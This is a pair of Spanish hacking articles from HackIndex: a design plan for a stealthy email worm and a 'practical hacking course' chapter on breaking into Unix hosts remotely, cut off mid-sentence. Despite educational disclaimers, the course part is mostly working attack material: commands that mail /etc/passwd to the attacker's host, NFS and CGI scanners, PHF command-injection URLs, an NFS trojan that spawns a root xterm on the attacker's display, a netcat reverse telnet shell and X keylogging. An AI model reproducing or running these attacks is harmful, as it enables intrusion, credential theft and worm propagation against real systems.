La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo”iloveyou” o  “timofónica”.

(*) De ahora en adelante los llamo MCM para abreviar.
1 – INTRODUCCION

En este primer mensaje me centraré en el diseño “psicológico” de un posible MCM y una introducción a lo que serían las carácterísticas de diseño, en la segunda parte, se desarrollarían aquellas partes de codigo que considero interesantes, aunque eso sí, sin acabar nunca de desarrollar el MCM, de tal forma que el código enviado como ejemplo sólo pueda ser utilizado por personas con conocimientos suficientes para comenzarlo desde el principio y evite la transmisión de MCM por parte de “lamers” o gente que quiera usarlo de forma personalizada para realizar venganzas personales.

En la tercera parte, propondré posibles soluciones, algunas de ellas ya existen. El conocimiento es una de esas soluciones, la ignorancia es uno de los principales factores que intervienen en la propagación de MCM y virus en general.

De esta primera parte, considero muy util su divulgación, lectura e incluso debate, pues considero que es mejor adelantarse a lo que puede venir que ser pillado por sorpresa.
2 – LOS MCM HASTA AHORA

Hasta ahora los MCM tenían características similares a la siguiente.

- Utilizaban un engaño basado en la ocultación de extensiones de ficheros, por ejemplo:

Un fichero con el nombre “pepe.txt.exe” se vería como “pepe.txt”

- Algunos de esos MCM, (los ejecutables con extensión exe), usaban un icono como el que usa el editor de Windows para reforzar el engaño.

-  Los más utilizados hasta ahora han sido los “.EXE” y los “.VBS” de tal forma que mucha gente evita como la peste esas extensiones y algunos desarrolladores, están empezando a usar otras extensiones. Como es el caso del LifeStages que utiliza una extensión .SHS

- Normalmente utilizan toda la ingeniería social que pueden, como es el caso del ILOVEYOU.

- Hasta ahora, se trataba de un único fichero, el que se enviaba.

- En algunos, tratan de evitar su desactivación, copiandose a muchos sitios diferentes, y alterar varias entradas del registro.

- En la mayoría de los casos, en el momento en el que llega a la cuenta de correo de un usuario experto, la existencia del MCM es descubierta en el entorno en el que se mueve ese usuario experto, y en algunas ocasiones, por las empresas desarrolladoras de antivirus.

- Excepto en algunos pocos casos, suelen utilizar el interfaz MAPI como mecanismo de envío de mensajes. Lo que hace que no pueda propagarse en aquellas máquinas de usuarios de otros lectores de correo.

- Normalmente, se envían a direcciones de la carpeta de direcciones, y de uno en uno.

3 – COMPORTAMIENTO DE LOS USUARIOS DE EMAIL.

Este apartado, está basado en cuanto a mi experiencia propia, viendo en muchas ocasiones qué tipo de correos se envían y reciben en los centros de trabajo donde disponen de correo electrónico, y de varias listas de correo informales y puede diferir con lo experimentado por otras personas.
- En general, la mayoría de los usuarios saben que no deben abrir cualquier cosa que se les envíe, sobre todo de desconocidos.

- Es corriente, que formen grupos de amistades, y se envíen chistes, fotos, (pornográficas o humorísticas o salvajes), ficheros mpeg o avi con anuncios graciosos.

- Antes he comentado que los MCM solían tener un único fichero adjunto, (que yo sepa), y sin embargo, en los mensajes de correo que se suelen enviar entre amiguetes, es normal que haya 4 ficheros jpeg. o tres ficheros de texto repletos de chistes. o un par de zips, e incluso uno o dos mpeg, (o uno sólo si es muy grande).

- A veces, suelen enviar en mensaje de correo, dentro de otro mensaje de correo, (no recuerdo las cabeceras de los mensajes salvados del OutLook), pero suelen aparecer como un icono.

- Sigue siendo corriente que se sigan enviando ficheros ejecutables EXE, la mayoría de estos ficheros suelen contener animaciones hechas con aplicaciones del tipo Macromedia. (Un ejemplo de lo que digo es la película completa en dibujos animados de la guerra de las galaxias que está en noticias.com).

- Los “emails lúdicos”, generalmente, suelen tener varios destinatarios, y no uno sólo, como suele ser el caso de los MCM.
4 .- CONSIDERACIONES DE INGENIERIA SOCIAL EN LA TRANSMISION DE UN MCM

Para que un MCM tenga éxito:

- Debe ser capaz de engañar al máximo posible al usuario que lo recibe, inspirandole la suficiente confianza para que pinche en el icono.

Por ese motivo, debe llegar de personas con las que normalmente se intercambia correo de tipo lúdico, no de trabajo. Por ejemplo, en el caso del “ILoveYou”, es difícil se engañado si llega de alguien con quien sólo tienes relaciones por correo de trabajo.

- Debe tratar de evitar en la medida de lo posible, el ser descubierto, y para ello, debe ser capaz de dar lo que se espera que dé.

Por ejemplo, en el MCM “timofónica” y en el “LifeStages”, el usuario espera que se abra el notepad con un mensaje de texto plano, y efectivamente es lo que hace.

- Algunos usuarios se dan cuenta enseguida de que han ejecutado un MCM cuando la bandeja de salida se les llena de mensajes. Quizás sería una buena táctica no ser tan agresivo a la hora de enviar mensajes, y enviar pocos y mejor encaminados.

- En lugar de usar la libreta de direcciones, podría mirar los mensajes que están en la carpeta de mensajes enviados.

- Podría incluso contestar a los mensajes que están en la bandeja de entrada.

- El MCM podría llegar acompañado de varios ficheros, y al reenviarse, hacerlo con esos ficheros.

- Combinaciones interesantes podrían ser:

Enviar dos ficheros de texto con chistes, y el tercero un vbs.txt que genera el tercer fichero de texto.
Enviar tres o cuatro jpeg, y entre medias un gif.vbs.

(en algunos clientes los jpeg se visualizan sin siquiera abrirlos, sería sospechoso que un jpeg se viese y otro no, por eso lo cambiaría a otra extensión, por ejemplo gif o incluso html.
Y ahora bien, la ingeniería social está en:

“Me llega un mensaje que es una contestación a otro que he enviado y con varias fotos, no hay alarma, a pinchar tranquilamente”
5 – CONSIDERACIONES DE DISEÑO.

Si fuese lo suficientemente perverso como para crear un MCM entero, lo haría de esta manera:

- Lenguaje de programación: JavaScript, tiene las mismas capacidades que el VBS, pues al estar soportado por WSH, dispone de las mismas capacidades que el VBS, (Acceso al registro de Windows, utilización de Active X, manejo de ficheros, etc).

- Búsqueda y uso de  SMTP  para envío de mensajes de correo electrónico, usando para ello el OCX de manejo de sockets. En el caso de que no funcione ninguno de los SMTP de la lista, (malditos spammers), o no se encuentre el OCX adecuado usará el ya conocido interfaz MAPI.

- El MCM tendrá la forma .gif.js, al ser ejecutado, generará un gif de pequeño tamaño.

- Investigación del formato en el que guardan los mensajes de NetScape y busqueda en la estructura de ficheros, para recuperar direcciones.

- retardo de 24 horas en el envio de mensajes.

- Envío de SMS, usando un camino alternativo al usado por el MCM “timofónica”, utilizando un CGI o accediendo a una web, (Sólo si se encuentra el OCX de TCP/IP).

- PAYLOAD:  Llevar la cuenta de ejecuciones, cuando lleve 10, crear un fichero HTML en el disco duro y llamar al navegador por defecto para que lo abra, el HTML tiene un bucle sin fin que abre ventanas.
En el artículo siguiente sólo trataré los módulos:

Envío de un mail por MAPI usando JavaScript.
Envío de un mensaje por SMTP usando JavaScript.
Detección de que una cuenta de correo existe, usando SMTP, este último punto no es necesario,
pero lo veo interesante, incluso para ser utilizado como una utilidad separada.

Y quizás en otro mensaje aparte que no tiene nada que ver con este, y si nadie se me adelanta, , envío de SMS sin usar el servicio Mail2SMS de movistar.

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

CURSO PRACTICO DE HACKING—3a entrega

Estimados estudiantes del CPH, en esta entrega nos centraremos ya en
las artima=F1as para la visitacion del objetivo que antes habiamos
escudrinyado (a partir de ahora usare la ny para denotar la enye
espanyola ya que puede verse mal en ciertos casos). Tengo ahora que
hacer un poco de “disclaiming” (lavarme las manos) acerca del uso que
pudiera darse a lo que os contare en este capitulo y el siguiente. La
visita que vamos a hacer no es con permiso del due=F1o y por lo tanto
se incurriria en un “allanamiento de morada informatica” si se emplea
por “el lado oscuro de la fuerza”=2E Esta claro que hemos de dominar
los sistemas y aprovechar sus fallos de seguridad para comprobar
nuestros conocimientos, pero podemos hacerlo de manera sana: o bien
autohacking o bien establecer un acuerdo con el administrador del
sistema que “hackeemos” para comprobar su seguridad. De cualquier
manera el conocimiento es una flor con la que la abeja hace la miel y
la ara=F1a su veneno.

Vamos a repasar algunas de las tecnicas mas adecuadas para el
principiante y luego vosotros mediante el estudio y la practica las
sobrepasareis e incluso ideareis algunas nuevas. Tened en cuenta que
eso es lo que diferencia a un lamer de unhacker: el lamer desbarata
sistemas con las herramientas que el hacker inventa. Alguna vez,
podreis penetrar un sistema utilizando un exploit, por ejemplo, y
conseguir una shell de root…y quizas os sentireis contentos de haber
alcanzado tal privilegio,… pero =BFHabeis escrito vosotros el
exploit?…Luego quizas instalareis un sniffer y una puerta
trasera…=BFpero habeis hecho vosotros esas herramientas? Lo ideal
seria que programarais algunas de las herramientas que utilizarais
luego en vuestras incursiones, y si no es asi, leed e intentad
comprender el codigo que utilizais.

Pero bueno, vamos al grano.

Un saludo para los que estan siguiendo el CPH aunque en pleno
verano. Saludos a los que vuelven, como mi amigo NBK que ya lo he
visto por las news, y a tantos otros. Para los que se han marchado
como Crino, Avalanche, etc…si no encuentran algun capitulo porque
haya expirado, etc, al final voy a intentar ensamblar todos los
capitulos en un solo documento comprimido y lo dejare en
es.binarios.misc, para no consumir ancho de banda.

Saludos,

LECTER

CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA

En este capitulo consideraremos tecnicas de acceso remoto (a traves de
la red) y en el siguiente estudiaremos el acceso local, que tambien
recibe el nombre de “ataque con escalada de privilegios”. Existe una
progresion cuando el atacante se introduce de manera remota y luego
consigue el acceso a la shell local. Habra que alcanzar privilegios de
root y mantenerlos, asi como actuar sobre el sistema para adecuarlo a
futuras visitas o a otros propositos.

Existen varios metodos fundamentales para introducirnos remotamente en
un sistema unix:

(1) Fallos de seguridad de aplicaciones basadas en el protocolo
TCP/IP.

(2) Defectos de configuracion en los servicios de red NFS, NIS y en
formularios web.

(3) Mala configuracion en los archivos hosts.equiv y .rhosts y empleo
de los llamados “comandos *r de unix”.

(4) Exploits para ciertos procesos que se basan en bugs de los mismos
o en ataques para desbordar la pila del proceso y ejecutar codigo
arbitrario que permiten conseguir una shell, una rootshell si el
proceso corresponde a un programa que tiene el bit setuid activado.

(5) Tecnicas oscuras: Ataques DoS, IP Spoofing, hijacking, ingenieria
social, web hostiles…Estas tecnicas no deberian usarse mas que en
situaciones muy criticas. He pensado dedicar un capitulo final,
despues del de borrar las huellas para incluir estos procedimientos,
quiza con el titulo de “la mitad oscura”.

Podemos emplearlas de dos modos diferentes para introducirnos en el
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.

3.1. Fallos de seguridad en aplicaciones TCP/IP

3.1.1 TFTP (Trivial File Transfer Protocol)

Se trata de una transferencia de archivos por udp. Se utiliza para
arrancar estaciones de trabajo o routers y esta basado como ya dije en
udp escuchando por el puerto 69 ;-P. Si el servidor TFTP esta mal
configurado, podemos conseguir el fichero /etc/passwd. En las ultimas
versiones quedan configurados de manera predeterminada para prohibir
el acceso a cualquier directorio excepto /tftpboot. Pero en este
directorio existe informacion comprometedora sobre los archivos de
configuracion de los routers (generalmente como
<nombrehostdelrouter>.cfg) y los intrusos pueden acceder a las
contrase=F1as de los routers y a las cadenas SNMP (Simple Network
Management Protocol), con lo cual comprometeremos redes completas.

3.1.2 FTP

Muchos servidores mal configurados permiten tener acceso anonimo,
permitiendo iniciar una sesion sin necesidad de autenticacion y
pudiendo acceder a toda la estructura de directorios del
sistema…Pero esto son habas contadas y muy peregrino debe ser el
root para meter la pata de ese modo. Algunas veces me han hablado de
servidores FTP que disponian de directorios donde podia escribir
cualquiera, con lo cual los atacantes podrian colocar un fichero
.rhosts (como ya veremos) en el directorio /home de algun usuario y
luego hacer un rlogin sin autenticacion. Habia una estratagema basada
en esto que permitia conseguir el fichero /etc/passwd de modo curioso
y sin magno artificio: Un archivo .forward en el directorio /home/ de
un usuario dirige el correo a una cuenta diferente o ejecuta alguna
instruccion cuando llega correo. De este modo, si escribimos un
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de
este modo:

$>echo “/bin/mail lecter@darkstar.us.es < /etc/passwd” > lecter_forward

Luego nos conectamos por ftp al objetivo

$>ftp objetivo.net

Si fuera posible escribir en /home/ftp/ podriamos hacer

ftp>put lecter_forward .forward
ftp>quit

y luego mandamos un correo al “usuario ftp”

$>echo hello chump | mail ftp@objetivo.net

Cuando llegue el correo se ejecutara la instruccion contenida en el
fichero .forward y recibiremos por correo el fichero /etc/passwd
)…Pero a mi nunca me ha funcionado. Aparte de estas
vulnerabilidades existen otras debidas a condiciones de desbordamiento
del buffer en versiones anteriores de wu-ftp 2.4.2, pero esto ya lo
veremos en el epigrafe de los exploits.

3.1.3 SMTP

Aunque hay otros mas seguros como smail y qmail, sendmail es el MTA
(Mail Transfer Agent) mas usado en el mundo unix. Si sendmail no se
configura adecuadamente, puede presentar problemas de seguridad,
ademas de los inherentes a fallos y vulnerabilidades del propio
programa. Una frase corriente hasta hace poco tiempo (la seguridad de
sendmail ha mejorado bastante en los ultimos anyos) era “Wellcome to
the sendmail bug of the week!”.

Un ataque con solera (para la version sendmail 4.1) se baso en la
vulnerabilidad de la “sendmail pipe”, que permitia al intrusoejecutar
instrucciones mediante sendmail con privilegios de bin. En versiones
anteriores a sendmail 5.57 podiamos enviarnos el fichero /etc/passwd
simplemente haciendo:

$>telnet objetivo.net 25
=2E..
helo
=2E..
mail from: “|/bin/mail lecter@darkstar.us.es < /etc/passwd”
rcpt to: johnsilver
data
=2E
quit

Pero para aprovechar los fallos de sendmail es mejor recurrir a los
exploits como se vera en el correspondiente epigrafe.

3.2 Defectos de configuracion de servicios de red

3.2.1 NFS

Ya sabemos que si el servicio nfs esta mal configurado podemos hacer
algunas cosillas ). Si hacemos un rpcinfo -p objetivo.net y nos
encontramos con algunas lineas en cuyos puertos escuchan los
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net
los directorios exportados.

En caso de que no tuvieramos un objetivo concreto podemos buscar
maquinas con ficheros exportables mediante el script perl getdomain.pl
de Invisible Evil, que muestro a continuacion:

—————/begin getdomain.pl———————————
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) =3D @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, “<$inputfile”) or die(“Cannot open file $inputfile for reading!\n”);
my(@lines) =3D <INFILE>;

# Initialize main data structure.
my(%hash) =3D {};
my($key) =3D “”;

foreach (@lines) {
$key =3D (split(/\ /))[0];
chop($key);
next if ((($key =3D~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
($key =3D~ m/root-server/i));
$hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
print “$_\n”;
}

sub usage {
print(“\n\ngetdomain:\n”);
print(“Usage: getdomain [inputfile] [search]\n\n”);
print(“Where [search] is one of \’com\’, \’edu\’, \’gov\’, \’mil\’ or \’net\’.\n\n”);
exit(0);
}
�
0;
�
———-/end of getdomain.pl——————————————–

Para utilizarlo habeis de disponer de listas de maquinas que se pueden
obtener facilmente por ftp de rs.internic.net con las extensiones:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Despues de descomprimirlas con gunzip ejecutamos el script asi:

$>perl getdomain.pl com.zone com > com.all

y lo mismo con las otras zonas…

Luego hay que usar otro script llamado cmount.pl para ver los
directorios exportados. Aqui lo teneis

—————-/begin cmount.pl———————————–
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net – 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) =3D ();
my(@domains) =3D ();
my($program) =3D “showmount -e “;

# Pull off filename from commandline. If it isn’t defined, then assign default.
my($DomainFilename) =3D shift;
$DomainFilename =3D “domains” if !defined($DomainFilename);

# Do checking on input.
die(“mountDomains: $DomainFilename is a directory.\n”) if (-d
$DomainFilename);
�
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die(“mountDomains: Cannot open $DomainFilename for input.\n”);
�
while (<DOMAINFILE>) {
chomp($_);
print “Now checking: $_”;

# Note difference in program output capture from “geturl.pl”.�
open (EXECFILE, “$program $_ |”);
@execResult =3D <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =3D~ /^Export/) {
print ” – Export list saved.”;
open (OUTFILE, “>$_.export”);
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print “\n”;
}
�
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
—————– end of cmount.pl
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.

#>showmount -e objetivo.net
/ (everyone)
/usr (everyone)

=A1Magn=EDfico! (Pero no caera esa breva) porque podriamos comenzar
mountando

#>mount -nt nfs objetivo.net:/ /mnt

Pero existe una excelente herramienta llamada nfsshell escrita por
Leendert van Door que podreis encontrar en

ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz

que nos proporciona un cliente robusto llamado nfs que funciona como
cliente ftp y permite manipular facilmente cuakquier sistema de
archivos remotos. Una vez instalado, haced en un xterm

#>nfs

y aparecera el prompt nfs>. Si haceis help vereis todas las
posibilidades=2E Bueno, al grano:

nfs>host objetivo.net (indica el host que queremos montar)

Luego miramos los archivos exportados

nfs>export
/ everyone
/usr everyone

Ahora tenemos que montar / para acceder al sistema de archivos con

nfs> mount /

Podemos ver el status de la conexion y el UID usado cuando se monto el
archivo con

nfs>status
=2E..

Como ya tenemos el sistema de archivos montado posemos mirar el
contenido de /etc/passwd:

nfs>cd /etc

nfs> cat passwd
=2E..

El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,
pero generalmente estaran “sombreados” (shadowed passwords) con una
“x” (generalmente) en el segundo campo de cada registro. No
importa. Busquemos un usuario daemon o bin. Si podemos acceder a los
binarios, =A1asunto zanjado! Suponfamos que existe el registro:

bin:x:2:2::/usr/bin

Vamos a montar /usr y cambiar nuestro UID y GID al de bin:

nfs>mount /usr

nfs>uid 2

nfs>gid 2

(y lo comprobamos con nfs>status)

A partir de ahora, tenemos los privilegios de bin en el sistema
remoto. Ahora podemos crear un canal trasero con el siguiente script
en nuestro sistema (darkstar.us.es) y llamarlo in.ftpd en el mismo
lugar donde activamos el cliente nfs (abrimos un xterm y hacemos vi
in.ftpd en el mismo directorio donde lanzamos el cliente nfs. El
contenido del script sera:

#!/bin/sh
/usr/—ruta hasta–/bin/xterm -display darkstar.us.es:0.0 &

luego lo salvamos y le damos permisos de ejecucion.

Despues volvemos al otro xterm y hacemos

nfs>cd /sbin

nfs>put in.ftp

De esta manera copiamos in.ftpd a /sbin, reescribiendo el
original. Entonces desde la otra xterm permitimos a objetivo.net
conectarse a nuestro servidor X:

#>xhost +objetivo.net
=2E..

#>ftp objetivo.net

Lo que sucedera es que aparecera en nuestro sistema un xterm
perteneciente al administrador de objetivo.net, pues al llamar a
in.ftpd desde inetd, este ejecutara nuestro script con privilegios de
root.
3.2.2 NIS

Ya hemos hablado del NIS, anta=F1o conocido como Yellow Pages (de ahi
el yp…). Cuando hacemos rpcinfo -p objetivo.net y aparece un
servidor ypserv ya estamos seguros de que el NIS esta funcionando. Si
mediante algun artificio tuvieramos una cuenta en una maquina con NIS
tendriamos la posibilidad de acceder al archivo /etc/passwd. Para
saber si en una maquina donde tenemos cuenta funciona NIS, hacemos ps
ax y si aparece el conocido ypserv =A1ya esta! En tal caso podriamos
usar el comando ypcat:

$>ypcat /etc/passwd> ~/passwd

para copiarnos el /etc/passwd en nuestro home. En caso de no tener
privilegios para ejecutar ypcat o si no esta, se puede usar el
programa pwget (este lo veremos en el capitulo 4 destinado al acceso
local). Ademas existe un programa llamado ypx para extraer los mapas
de un servidor NIS y lo podeis encontrar en:

http://morehouse.org/hin/root/ypx.tgz

Su uso es muy sencillo:

ypx -m passwd nombre_dominio_NIS
3.2.3 Inseguridades en scripts CGI

La interfaz CGI (Common Gateway Interface) permite la comunicacion
entre programas cliente y un servidor que emplea el protocolo http. El
protocolo de comunicaciones usado por el script CGI y el servidor es
el TCP/IP usando por defecto el puerto 80. Las vulnerabilidades no se
deben a fallos de CGI, sino a errores en las especificaciones HTTP y
programas del sistema. La parte fundamental de un script CGI es un
documento HTML llamado FORM (Formulario). Los scripts CGI deberian
realizar el filtrado de los contenidos del campo <INPUT> del
formulario (entradas de usuarios), pero en muchos casos, no lo
hacen…con lo cual es posible ganar un acceso ;-D. PHF es un script
CGI estandar en las primeras versiones del servidor Apache y NCSA
HTTPD. Aunque parezca raro, todavia hay sistemas que presentan esta
vulnerabilidad, por eso la cuento. El programa de marras no procesaba
ni validaba adecuadamente la entrada. PHF aceptaba el caracter de
newline (%0a) y ejecutaba cualquier mandato posterior con la UID del
usuario que estuviera ejecutando el servidor (generalmente nobody). El
codigo utilizado era el siguiente, que puede lanzarse desde nuestro
navegador (lynx para los castizos; Netscape para los modelnos):

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd

De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;
pero si estan sombreados habra que pensar en otra cosita:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0

El servidoe web remoto ejecutara un xterm y lo montara en nuestro
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla
0. Como esta activada la opcion -ut, el sistema no registrara esta
actividad. Hay numerosos scripts para buscar sistema con scripts CGI
y PHF como vereis a continuacion:

——————-/begin cgi scanner———————————-

/* This source is absolutely free to use and modify at you own risk, please
do not change some chars and say that this program is yours or i’ll die the
next day… . Pay attention, this file is for research purpose only, do not
use it into any hacking way. Is possible to be logged while running the
program, so PAY ATTENTION!.
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.

Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!
I want also give a big thanks to:

Goku: my linux guru
SMaster: my prezident
MaNdraKe: and his future girlfriends
Pr3dator: for his help on linux (go slower on cars!:pPp)
PhoenYx: the best italian hacker
Berk: a cool friend and a wannabe hacker
xOANON: the best cracker all around
Golem: for his bot, what about setting it on #softpj?
Spaceone: a good friend
TanK_GirL: a future hacker! (i hope)
RootShell: for many source and ideas

I want also give a big fuck to:

Telecom Italia: u must die!
WarLords: Good ircwarriors but stupid people
Alexb: pay attention at your fuckin’ shells
Lamers: try to be more newbies!

by |scacco|

Add-on By Dark Schneider

*/

#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h> �
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h> �
#include <sys/time.h> �
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXSTR 12

main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=3D0, X;
char *stringhe[MAXSTR];
for(i=3D0;i<MAXSTR;i++) {
stringhe[i]=3D(char *) malloc(sizeof(char)*100);
}
�
/* Classic PHF bug… It still Works! */
�
stringhe[0]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n”;
�
/* test-cgi bug, possible to view documents location */
�
stringhe[1]=3D”GET /cgi-bin/test-cgi?*\n”;
�
/* htmlscript bug, a good language that can us have passwd */
�
stringhe[2]=3D”GET /cgi-bin/htmlscript?../../../../etc/passwd\n”;
�
/* view-source bug, some httd use this… */
�
stringhe[3]=3D”GET /cgi-bin/view-source?../../../../etc/passwd\n”;
�
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */
�
stringhe[4]=3D”GET /cgi-bin/wrap?/../../../../../etc\n”;
�
/* Campas allow you to get the passwd on NCSA server 1.2 */
�
stringhe[5]=3D”GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n”;
�
/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */
�
stringhe[6]=3D”GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n”;
�
stringhe[7]=3D”GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n”;

/* With aglimpse is possible to mail the password file anywhere */
�
stringhe[8]=3D”GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\</etc/passwd;eval$CMD;echo\n”;
�
/* An interesting variant for phf*/

stringhe[9]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n”;

stringhe[10]=3D”GET /cgi-bin/php.cgi?/etc/passwd\n”;

/* a new test-cgi but the bug is the same */

stringhe[11]=3D”GET /cgi-bin/nph-test-cgi?*\n”;
�
while(fgets(hosta,100,stdin))
{
if(hosta[0] =3D=3D ‘\0′)
break;
hosta[strlen(hosta) -1] =3D ‘\0′;
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,”\n”,sizeof(char));
�
hp =3D gethostbyname (hosta);
for(i=3D0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family =3D hp->h_addrtype;
sin.sin_port =3D htons(80);
sock =3D socket(AF_INET, SOCK_STREAM, 0);
X=3Dconnect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�
while((X=3Dread(sock,FileBuf,8096))!=3D0)
write(1,FileBuf,X);
�
}

}
printf(“\nScacco&Dark Schneider – S0ft Pr0ject 98″);
}

—————/end CGI scanner———————————-

Hay otros pero este ya vale.

Bueno…y si el administrador ha eliminado las X? Entonces habra que
recurrir a un canal trasero. En la mayor parte de los servidores unix
hay instalado un cliente telnet sin restricciones de empleo. Para
conseguir nuestro canal trasero realizaremos un “telnet inverso”
utilizando la herramienta netcat para activar escuchas en nuestro
propio sistema. Debemos ejecutar los siguientes comandos en sendos
xterms de nuestra maquina:

(xterm1)#>nc -l -n -v -p 80

(xterm2)#>nc -l -n -v -p 25

Hemos de asegurarnos de que no hay demonio alguno escuchando por tales
puertos en nuestro sistema y si los hay haced un ps ax y luego
matadlos con kill -9 <pid>. Los dos mandatos nc escuchan en los
puertos 80 y 25 de nuestra maquina. Para iniciar el telnet inverso,
ejecutamos en el servidor objetivo desde nuestro navegador:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025

que equivaldria a hacer en la maquina remota:

/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25

El mandato /bin/telnet darkstar_IP 80 se conecta a nuestra escucha
netcat en el puerto 80. Aqui es donde escribiremos nuestras
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se
introduciran en /bin/sh. Posteriormente, el resultadode nuestros
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un
telnet inverso que se ejecuta en dos ventanas separadas. Se escogen
los puertos 80 y 25 porque son servicios comunes que generalmente
permiten los cortafuegos. Existen otros modos de explotar las
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.

3.2.4 Vulnerabilidades de servidores X

Muchos servidores X ejecutan de forma predeterminada xhost+
permitiendo que cualquier usuario local o remoto acceda al servidor X
sin autenticarse y muchos administradores ni se percatan. Existe una
utilidad llamada xscan que podeis encontrar en

http://morehouse.org/hin/root/xscan.tar.gz

que permite identificar los servidores X que tienen activado
xhost+. Una vez instalada hacemos

$>xscan objetivo.net
=2E..
Connecting to objetivo.net…on port 6000
connected
Host objetivo.net is running X
Starting keyboard logging of host objetivo.net
:0.0 to file KEYLOGobjetivo.net:0.0.

A partir de ahora, cualquier pulsacion de teclas realizada en la
consola de la maquina remota quedara registrada en el archivo
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro
podemos ver lo que el usuario esta escribiendo en el teclado:

$>tail -f KEYLOGobjetivo.net:0.0
su -
[shift_L * Iamowned (Shift_R)]

Asi vemos que el usuario ha ejecutado el comando su con el password de
root “Iamowned” )).
3.3 Mala configuracion de hosts.equiv y .rhosts

En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de
datos general que controla el acceso a nivel de hosts, y el fichero
/home/usuario/.rhosts controla el acceso a la maquina a nivel de
usuario. Las maquinas cuyos nombres encontremos en /etc/hosts.equiv o
en ~/.rhosts se llaman “trusted hosts” o maquinas de confianza por
parte del objetivo. Cuando intentamos conectarnos a la maquina remota
mediante rlogin (la maquina remota ha de tener el puerto 513 tcp
rlogin activo)

$>rlogin -l objetivo.net

el demonio rlogin busca en /etc/hosts.equiv por el nombre de nuestra
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos
intentarlo haciendo

